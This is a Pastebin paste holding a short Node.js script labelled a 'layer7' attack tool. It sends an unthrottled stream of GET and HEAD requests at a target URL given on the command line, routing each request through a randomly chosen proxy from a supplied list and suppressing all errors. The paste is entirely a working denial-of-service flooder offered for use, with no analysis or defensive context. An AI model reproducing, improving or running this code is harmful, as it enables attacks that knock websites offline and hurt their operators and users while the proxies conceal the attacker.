Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HTTPNULL LAYER7 SCRIPT BY KRAWK
- const request = require('request');
- const fs = require('fs');
- const proxies = fs.readFileSync(process.argv[3], 'utf-8').match(/\S+/g);
- var methods = ["GET", "HEAD"];
- process.on('uncaughtException', (err) => { });
- process.on('unhandledRejection', (err) => { });
- setTimeout(() => { process.exit(1); }, process.argv[4] * 1000);
- function Send() {
- request({
- method: methods[Math.floor(Math.random() * methods.length)],
- url: process.argv[2],
- headers: { 'Connection': 'close' },
- proxy: 'http://' + proxies[Math.floor(Math.random() * proxies.length)]
- }, function (error, response, body) { });
- }
- setInterval(() => { Send(); })
- console.log("null sent using get and head method!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement